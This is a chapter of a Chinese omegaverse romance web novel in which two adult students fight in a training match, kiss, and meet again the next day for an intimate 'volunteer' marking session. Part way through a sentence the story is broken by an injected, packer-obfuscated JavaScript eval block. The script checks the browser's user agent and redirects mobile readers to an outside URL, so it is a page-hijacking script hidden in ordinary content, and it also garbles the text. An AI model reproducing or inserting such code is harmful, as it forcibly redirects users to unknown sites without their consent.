后脑猛然撞在墙上,龙乾当即便被砸得眼前发黑,顺着墙壁不受控制地滑了下去,看起来无比狼狈。 兰舒捡起一旁的匕首,顺势跪了上去。 “——!” 原本几近昏迷的Alpha突然睁大了眼睛,有力的大腿压在他的脸侧,巨大的窒息感扑面而来。 兰舒将匕首插在了他耳边的地上,垂着眸子居高临下道:“学弟,有时候你发现的弱点,其实只是引你入洞的饵料罢了。” 空气在那人逐渐绞紧的腿肉间变得稀薄,时间只剩下了最后三十秒。 可巨大的痛苦之下,有什么更加极端的情绪正在其中酝酿而出。 就在这股极端的窒息下,龙乾突然扯出了一个带着血腥味的笑。 兰舒一顿,心下突然升起了一股不详的预感。 下一刻,Alpha竟一口咬在了他的腿侧,那一下丝毫没有收力,大腿内侧的布料瞬间被他咬得破碎,牙齿当即嵌入最柔韧丰腴的部分,鲜血顺着齿缝便淌了出来。 “——!” 龙乾忍着窒息后的巨大眩晕,自下而上看着骑在自己身上的Omega,带着血味扯出了一个张扬又挑衅的笑:“饵料很好吃,谢谢学长。” 自己刚刚才说过的话转头便被用到了自己身上,兰舒痛得咬紧牙关,忍不住骂了一句脏话。 龙乾闻言却好似更加兴奋了,他趁着兰舒吃痛,靠着蛮力硬生生将人掀了下去。 那枚纽扣顺着衣襟滑了出来,兰舒情急之下根本来不及反应,只能在龙乾探手抓住它的前一秒,当场把纽扣夺过,直接吞到了嘴里。 龙乾见状眼神一暗,当即掐着下巴将兰舒的脸抬了起来:“堂堂首席居然会用这种招数耍赖吗?” 这人似乎对他们之间的胜负看得格外重,对之前输给兰舒的那几场更是耿耿于怀。 眼见着时间只剩下最后的半分钟,龙乾终于失去了所有笑,眸色深不见底道:“张嘴。” 兰舒此刻腿根疼得痉挛,血顺着大腿往下淌,滑腻又麻痒的感觉难以用语言形容。 但他闻言依旧毫不示弱地扯出了一个冷笑,笑容间尽是不加掩盖的嘲讽和挑衅。 龙乾几乎被他气笑了:“学长,你要是非用这种手段,那就别怪我不客气了——” 兰舒心下一跳,突然升起了一股极其不妙的预感。 “张嘴,”龙乾掐着他的脸颊,语气发沉地威胁道,“不然我就亲你了。” 17.义工 龙乾自以为说了句惊天地泣鬼神的话,未曾想兰舒闻言只是凉凉地看着他,好似在看一只胡闹的小狗一样,根本不为所动。 年轻的Alpha最看不得他这副样子,气得头脑一热,竟不管不顾,掐着那人的下巴便吻了上去。 龙乾原本以为兰舒会躲,或者会直接一巴掌扇在自己脸上,他甚至都做好挨巴掌的准备了,可兰舒竟一下也没动,就那么靠在墙上任由他亲了上来。 嘴唇相贴的一刹那,龙乾率先感到的是不真实,像是做梦一样的不真实。 可下一秒,更加不真实的事情发生了——兰舒张开嘴,娴熟无比地含住了他的舌头,勾着吮吸了一下。 方才甩下狂话的Alpha如遭雷劈,一下子僵在了原地。 他的梦中人轻描淡写地送了他一个香艳至极的吻,那舌头柔软得好似绸缎一样,勾的龙乾彻底忘记了自己的目的,呆呆地愣在那里。 然后,倒计时响了。 ——他被人用一个吻,哄骗得输掉了这场比赛。 龙乾猛然回神,气得火冒三丈,按着怀中人的后颈,宣泄一般就要加深这个吻。 可毫无经验的Alpha全靠本能扫便了整个口腔,却依旧没能找到那枚纽扣。 兰舒几不可见地笑了一下,似是觉得他可爱,又像是在嘲弄他的生涩。 最终,Omega用舌尖把纽扣递送到他的嘴中,趁着那人僵住的瞬间抽身退开,好整以暇地靠在了墙上。 龙乾叼着纽扣僵在原地,半晌将那枚纽扣吐出来攥在了手心,神色阴郁地看向兰舒:“堂堂首席居然……你不觉得胜之不武吗?” 他气急败坏的模样好像被兰舒玩弄了感情一样,可即便是气成这样,他却连“接吻”两个字都不愿说出来,纯情得有些出乎兰舒意料。 “黑猫白猫,抓到耗子的就是好猫。”兰舒抬手擦了一下嘴角,“怎么,你输不起?” Omega的态度无比自然,好似方才的那个吻真的只是赛场上的权宜之计而已。 龙乾攥着那纽扣站在原地,半晌扯出了一个笑容,几乎是从牙缝中挤出来一句:“……怎么会,我向来愿赌服输。” 他面上好不容易维持住了体面,心下却混乱得快要疯了。 ——兰舒凭什么对刚刚那个吻无动于衷!?还有他熟练到逗小狗一样的技巧……他到底亲过多少人!? 龙乾气得心梗,半晌愤愤地把那纽扣放在了自己的口袋里。 兰舒见状心头一跳,刚想开口把东西要回来,下一秒,龙乾不知道从哪掏出来一枚医用敷贴,顺势在他面前半跪了下来。 他长得实在英俊,哪怕冷着脸像尊杀神,可当他半跪下时,场面还是瞬间变了味道,一时间像是什么求婚现场,好似他手里拿的不是医用敷贴,而是钻戒。 兰舒的话突然卡在了喉咙,下一刻,龙乾抬手就要去掰他的大腿,他眉心一跳,连忙劈手夺过了那枚敷贴道:“……我自己来。” 他腿根处疼得厉害,只能扶着墙壁站了起来。 好在其他人为了进校队,正在远处认真对练,根本没人顾及这个角落。 ……不过那些人训练得再拼命,和他们两人的训练强度比起来还是有些相形见绌的。 毕竟普通训练想要把一方搞得差点脑震荡,另一方搞得大腿险些被咬穿,也是需要一些天赋的。 兰舒靠在墙上探手下去,扯开腿根处的裤子后,向外渗着血的齿痕和白色的腿肉一下子暴露在了空气中。 他借着那块布料三下五除二地擦干了外围的血,正准备掰着腿肉往上贴敷贴时,一抬头却见龙乾正直勾勾地看着他手头的动作。 兰舒喉咙一紧,抬脚没好气地踹了那人一下:“——转过去!” 龙乾挨了一脚却罕见的没生气,闻言倒是真听话地收回目光转了过去。 看着那人的背影,兰舒咬着下唇□□肉,将敷贴盖在了伤口处。 好在着小混蛋咬的地方足够隐蔽,贴完伤口,兰舒站直了身体,确保没人能看见他腿间的情况后,抬脚轻轻踢了踢面前人的小腿:“把东西还我。” 龙乾闻言从口袋中掏出了什么,转过身后却没急着还,反而垂眸看了一眼兰舒的大腿:“裤子需要补吗,学长?” 那是句极其冒犯的言论,兰舒却没生气,只是道:“不需要。” 龙乾仗着自己个子高,闻言直接把手里的东西塞在了兰舒微微敞开的衣襟中,语气晦暗不明道:“那就明天见了,学长。” 言罢没等兰舒回神,他转身离开了这里。 ——明天分明是周末,这小子想去哪跟他明天见? 兰舒蹙眉从胸口把对方塞的东西掏了出来,却见一张是他昨天扔给龙乾的ID卡,一张是龙乾自己的ID卡,除此之外还有一枚纽扣。 但纽扣并非是方才用作信物的那枚,兰舒见状眉心一动,经过某种特殊培训的大脑瞬间浮现了刚刚龙乾离开时的画面,最终精准定位在了他的制服外衣上。 ——那衣服上果然缺了纽扣,而且缺的刚好是正对胸口的那枚。 ……俗套的小狗。 兰舒攥着那枚纽扣,心下泛起了说不出的滋味。 他一言不发地站在原地,抬眸看向远处依旧在刻苦对练的众人,脑海中浮现的却是刚刚那个吻。 一时的快意过去后,涌起的是无边的后悔。 ——他还是没能忍住。 模拟的风吹过,兰舒站在原地舔了舔嘴角,半晌攥着龙乾塞给他的东西离开了训练场。 * 夜晚,昏暗的灯光下,兰舒靠坐在镜子前,对着镜子缓缓分开双腿,缓缓撕下了那枚敷贴。 对于这种小伤,他没有使用医疗舱的习惯,当然,他也不想让人看见他破了洞的裤子,所以龙乾无比豪横塞来的那张卡没有起到任何作用。 龙乾那小混蛋咬的地方实在到位,要对着镜子掰着腿肉才能看清楚那处鲜明的齿痕。 修长白皙的指腹按在腿肉上,和那殷红的齿痕一起,形成了恰到好处的反差,齿痕正中间是几乎已经看不见的针孔,透着股说不出的情色。 兰舒抿了抿唇,拿起药品给自己做起了消毒。 大腿被刺激得忍不住颤抖之余,他却忍不住想到——自己是不是该去打个狂犬疫苗吗? 此念头一出,兰舒有些忍俊不禁。 半晌,他放下棉签,一边支着腿晾着腿根的药,一边拿出光脑验收起了自己昨天的招募成果。 兰舒原本以为今天也要无功而返了,未曾想刚打开义工系统,他便在一众匹配过来的信息中,一眼看到了一个完全符合他要求的人。 ——S级信息素,成年,体检八项全部合格,健康得宛如一头牛。 因为曾经的一些事情,兰舒时至今日还对性成熟但法律上尚未成年的Alpha心有余悸。 看到这人已经成年后,他小小地松了口气,那股负罪感总算轻了一些。 可实际上只要他多刷几遍就会发现,这个堪称完美的“义工”几乎是卡着他的要求和使用时间段在高频上传。 这人一分钟甚至能刷新三十次上传记录,被兰舒一眼看到几乎是必然结果,根本不是什么随机现象。 天底下哪有那么多机缘巧合,不过都是处心积虑罢了。 可惜兰舒对义工一事本就抵触,看到如此符合自己要求的人选后,他根本没多想,按下确定后立刻关上光脑,起身便进了浴室。 绰约朦胧的水雾中,兰舒心不在焉地洗完了澡。 当他擦干发梢,躺在被褥之中时,他心下总算有了一些实感——明天,就是义工上门的时候了。 羞耻和背德带来的负罪感依旧没有消退,可兰舒却在黑暗中没由来地想起了曾经的画面。 恍惚中他似乎又回到了那处光亮到刺目的白色房间,在无数监控之下,眼睁睁看着那人为了自己差点流干鲜血。 ……和那时比起来,眼下这些只是一点微不足道的牺牲罢了,没什么大不了的。 最终兰舒在黑暗中闭上了眼睛,过了不知道多久,终于陷入了睡眠。 梦中,他回到了自己的二十岁。 一片繁星之下,他站在荒原上,再一次看到了那人送给他的宛如烟花般绚丽的核爆。 梦的尽头处是灿烂无垠的自由。 第二天一早,兰舒突然间就心如止水了。 他平静地把屋内该收起来的东西全部收了起来,包括墙上的那张照片。 摘下照片时,他平静地和那人对视了三秒,而后轻声道:“……我爱你。” 那一声像是表白,又更像是十字架下的忏悔。 最终,兰舒将照片暂时放在了枕头下面,又用被子盖了上去。 因为标记需要安静舒适的环境,有外人打扰的情况下Omega会紧张,无法完成标记,所以只有义工一个人上门。 但义工上门时会戴上止咬器和定位项圈,而且所有过程都会被实时录音,所以兰舒并不担心自己的个人安危,反而有些担心来者过于年轻没有经验,以至于标记没有办法顺利进行。 为此,他特意换了一件宽松柔软的衣服,以防自己因为布料问题出现过激反应。 他刚做好准备,宿舍门便被敲响了。 这义工似乎是掐着点上门的,守时的态度倒是不错。 不过对于来的人到底是谁,兰舒一点也不关心。 经过一晚上的心理准备,Omega平静地放下了手里的东西,可当他走到门前打开宿舍门的一刹那,他却蓦然僵在了原地。 ——阳光之下,戴着止咬器和项圈的Alpha逆着光站在门口,垂眸一眨不眨地看着他。 那人似乎是故意穿了件黑色的紧身上衣,布料很薄,如此近的距离下,肌肉都要贴在兰舒脸上了。 止咬器上的冰冷金属遮住了Alpha的半张脸,仅露出一双如狼一般的眼睛,像是凝视猎物一样凝视着兰舒。 ——怎么会是他!? 兰舒心如擂鼓地僵在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15149923|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,后背汗毛倒立,一时间竟说不出是兴奋多一点,惊愕多一点,还是抗拒多一点。 他的愕然不知道为何激怒了对方,Alpha的眸色一下子冷了下来。 兰舒大脑甚至没怎么思考,几乎是完全出于下意识的,反手就要把门关上。 可对方似乎早就猜到了他的意图,当即抬手按住门扉,像是某种没有感情的野兽一般盯着他道:“您好,1074号义工为您服务。” 兰舒心下一跳,因为这个动作,他一眼便看到了对方手臂上极其明显的三个针孔。 ——他打了三针Alpha用的抑制剂,将易感期彻底压了下去。 兰舒收回目光,再一次对上了Alpha冰冷的目光。 眼下的龙乾和易感期时的状态截然不同,冷静中透着股说不出的癫狂。 在那人冰冷的目光下,兰舒突然有些无地自容。 ——此刻的自己像是出轨被丈夫抓包了一样。 ……甚至可以把“像是”两个字去掉。 兰舒脑海中一片混乱,腿根处还在隐隐作痛,宛如被人盖了戳一样,站在那里动弹不得。 他听到自己心底有个理智的声音在说——让他走,不能再拖他下水了。 兰舒无比清楚地知道自己眼下该做什么,可是—— 短暂的僵持后,他听到自己故作冷淡,声音中带着只有自己能听到的颤抖道: “……进来。” Alpha看了他三秒,确定他不是在诓自己后,松开门走进了房间。 门扉缓缓关上,阳光被隔绝在了外面。 龙乾进屋之后率先打量了一下他在夜晚见过无数次的房间,眼下是白天,窗帘却拉得紧密,屋里没有开灯,显得有些昏暗。 他早就发现兰舒似乎有光线恐惧,一个人待着时几乎从不开灯。 眼下寝室来了外人,兰舒抬手就要去开灯,龙乾却道:“不用,按你习惯的来。” 兰舒动作一僵——Omega在完全熟悉的环境中,标记成功的概率能提升近三成。 龙乾只用一句话,就戳穿了那层虚与委蛇的面纱,点明了两人之间马上要发生的事情。 兰舒垂下手走到床边,拉了把椅子示意龙乾坐下,而后自己一言不发地坐在了床上。 龙乾眯了眯眼拉开椅子,毫不客气地坐下,没有丝毫寒暄,直接从箱子中拿出了一份调查问卷。 兰舒见状没有开口质疑——这是写在义工须知内的必要流程,主要是为了再一次确定Omega的身体情况,避免出现事故。 龙乾在黑暗中抬眸:“你在系统提交的简历属实吗?” 他脖子上的项圈应该自带录音功能,两人所说的一切都会被记录下来,而龙乾偏偏一副完全不认识兰舒的模样,公事公办得和昨天判若两人。 兰舒尴尬得头皮发麻,半晌才找回言语能力:“……属实。” “好的,接下来我将对你的一些身体状况和过往经历做一些核实。” 龙乾垂眸看向手中的简历。一副公事公办的样子道:“资料上显示,你曾经有过抑制剂滥用经历?” “……对。” 龙乾打钩的动作一顿:“为什么?” 这个问题其实不在问卷上,可兰舒并不知道,还是如实回答道:“因为我丈夫去世后,我的信息素发生了一段时间的紊乱。” “明白了。” 龙乾装作记录完毕的样子再一次抬眸,看着几乎不敢和自己对视的Omega,他的眼神暗得仿佛要把人吞吃入腹:“过往有过被标记的经历吗?” 兰舒心头一紧:“……有过。” 龙乾动作一顿,明知故问道:“是临时标记,还是完全标记?” 兰舒安静了三秒:“不好意思,这个不方便透露。” 话题到这里,已经滑向了一个不可名状的深渊。 表面上披着事前调研的正经外衣,实际上却透着难以言喻的情色。 气氛凝滞了三秒,龙乾低头看到下一个问题,随即神色如常地问道:“过往有过性经历吗?” 兰舒忍不住攥紧了手心,喉咙发紧道:“……有过。” 此话一出,他明显感觉到屋内的温度骤然降了三度。 止咬器之后,分明已经不在易感期的Alpha听了这话却险些把牙咬碎。 ——心照不宣是一回事,但听着这人当面承认又是另一回事。 龙乾恨得胃中扭曲,差点装不下去,可当他看到下一个问题时,怒意和呼吸却同时凝滞了。 窒息的寂静在空气中弥漫。 兰舒等了半天不见下一个问题,还以为终于结束了。 然而他刚松了口气,下一刻,龙乾抬眸看向他,眼神暗到极致地问了一个问题。 兰舒听到那问题后不知为何瞳孔骤缩,一下子僵在了原地。 龙乾见他不回答,眼神一下子好似淬了毒,他阴沉下语气,一字一顿地重复道: “过往有过孕史吗?”